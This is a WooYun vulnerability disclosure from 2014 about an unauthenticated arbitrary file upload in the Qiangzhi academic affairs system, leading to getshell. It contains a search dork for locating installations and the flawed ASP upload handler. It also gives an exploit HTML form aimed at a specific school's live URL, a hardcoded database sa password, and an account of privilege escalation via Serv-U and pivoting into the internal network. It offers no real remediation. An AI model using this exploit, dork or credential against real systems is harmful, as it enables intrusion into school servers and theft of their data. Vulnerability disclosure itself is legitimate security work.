当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074367

漏洞标题:强智教务系统通杀Getshell(提权服务器内网渗透)

相关厂商:cncert国家互联网应急中心

漏洞作者: xlz0iza1

提交时间:2014-08-29 18:43

修复时间:2014-11-27 18:44

公开时间:2014-11-27 18:44

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-29: 细节已通知厂商并且等待厂商处理中
2014-09-03: 厂商已经确认,细节仅向厂商公开
2014-09-06: 细节向第三方安全合作伙伴开放
2014-10-28: 细节向核心白帽子及相关领域专家公开
2014-11-07: 细节向普通白帽子公开
2014-11-17: 细节向实习白帽子公开
2014-11-27: 细节向公众公开

简要描述:

RT

详细说明:

关键词:inurl:ShowGGTZ.asp?GGTZID=

QQ图片20140829171952.jpg


文件:jwgl\jcxx\savetofile.asp

<%OPTION EXPLICIT%>
<!--#include FILE="upfile_class.asp"-->
<%
server.ScriptTimeout =10000000
dim upfile,formPath,ServerPath,FSPath,formName,FileName,oFile
set upfile=new upfile_class ''建立上传对象
upfile.GetData (10240000) '取得上传数据,限制最大上传10M
%>
<html>
<head>
<title>文件上传 - 长沙市强科技发展有限责任公司·版权所有</title>
<style type="text/css">
<!--
.p9{ font-size: 9pt; font-family: 宋体 }
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body leftmargin="20" topmargin="20" class="p9">
<p class="tx1"><font color="#0000FF" size="1"></font></p>
<hr size=1 noshadow width=300 align=left><%
if upfile.err > 0 then '如果出错
select case upfile.err
case 1
Response.Write "你没有上传数据呀???是不是搞错了??"
case 2
Response.Write "你上传的文件超出我们的限制,最大10M"
end select
else
%>
<table border="1" cellpadding="0" cellspacing="0" bordercolor="#000000" class="p9" style="border-collapse: collapse">
<tr bgcolor="#CCCCCC">
<td height="25" valign='middle'> 本地文件 </td>
<td valign='middle'> 大小(字节) </td>
<td valign='middle'> 上传到 </td>
</tr>
<%
FSPath=GetFilePath(Server.mappath("upfile.asp"),"\")'取得当前文件在服务器路径
ServerPath=GetFilePath(Request.ServerVariables("HTTP_REFERER"),"/")'取得在网站上的位置
for each formName in upfile.file '列出所有上传了的文件
set oFile=upfile.file(formname)
FileName=upfile.form(formName)'取得文本域的值
if not FileName>"" then FileName=oFile.filename'如果没有输入新的文件名,就用原来的文件名
oFile.SaveToFile FSPath&FileName ''保存文件
%>
<tr>
<td valign="middle" align = "left" height="20"><%=oFile.FilePath&oFile.FileName%></td>
<td valign="middle" align = "center"><%=oFile.filesize%></td>
<td valign="middle" align = "center"><A HREF="<%=serverpath&FileName%>" title = "<%=serverpath&FileName%>"><%=FileName%></A></td>
</tr><%
set oFile=nothing
next
%>
<tr>
<td colspan="3" height="25" valign='middle'> 一共上传了<%=upfile.file.Count%>个文件</td>
</tr>
<%
end if
set upfile=nothing '删除此对象
%>
</table>
<p></p>
</p>[<a href="javascript:history.back();">返回</a>]
</body>
</html>
<%
function GetFilePath(FullPath,str)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, str))
Else
GetFilePath = ""
End If
End function
%>


利用exp:

<form method="post" name="form1" action="http://e.tjmvti.cn/jwgl/jcxx/savetofile.asp" enctype="multipart/form-data">
<table border="0" align="center" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td><div align="center"><font color="#0000ff" size="4"><b>exp</b></font></div></td>
</tr>
<tr>
<td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#111111" style="BORDER-COLLAPSE: collapse">
<tr>
<td height="27" width="100" colspan="5"> &nbsp;
</td>
</tr>
<tr>
<td width="750" colspan="5"> <div id="uptd"> </div></td>
</tr>
<tr>
<td height="30" align="middle" width="50">
<input type=file name=uploadfile size="100">
</td>
<td height="30" align="middle" width="100">
<p align="center">
<input type="submit" name="Button2" class="bt" value="上传">
</td>
<td height="30" align="middle" width="100">
</td>
</tr>
</table></td>
</tr>
</table>
</form>

漏洞证明:

直接用exp.html任意文件上传,服务器几乎是sa权限,提权都是妥妥的,随便打个比方吧。

QQ图片20140829172336.jpg


配置文件:

conn\connstring.asp
<!--#include file="../../connstring.asp"-->
<%
'以上代码严禁删除
ServerName=Request.ServerVariables("Server_Name")
ProgramName ="jwgl"
SName = "10.0.0.1"
DBName = "TJMTI"
DBBackDirName = "Dbback"
if ProgramName ="" then
ServerNameProgramName = ServerName
else
ServerNameProgramName= ServerName & "/" & ProgramName
end if

if Connstring = "" then connstring="driver={sql server};server=" & Sname & ";database=" & DBName & ";uid=sa;pwd=qzdatasoft123456789" '数据库连接语句
%>
管理员还是蛮聪明的,数据和服务分离的,但是这给后来的内网渗透带来了极大的危害、


服务器自己带的Serv-U Exec >>提权。

QQ图片20140829172529.png


QQ图片20140829172616.jpg


QQ图片20140829172640.jpg


可以看到,服务器都成为马蜂窝了,威胁还不只这么一点哦。

关键语句:if Connstring = "" then connstring="driver={sql server};server=" & Sname & ";database=" & DBName & ";uid=sa;pwd=qzdatasoft123456789"


直接提权10.0.0.1服务器。

QQ图片20140829172922.jpg


QQ图片20140829173206.png


QQ图片20140829174211.png


好吧,下面是其他案例截图吧。

QQ图片20140829174313.jpg


QQ图片20140828174855.jpg


修复方案:

狗哥这还走小厂商吗?

版权声明:转载请注明来源 xlz0iza1@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-09-03 10:36

厂商回复:

已经转报给教育网应急组织。

最新状态:

暂无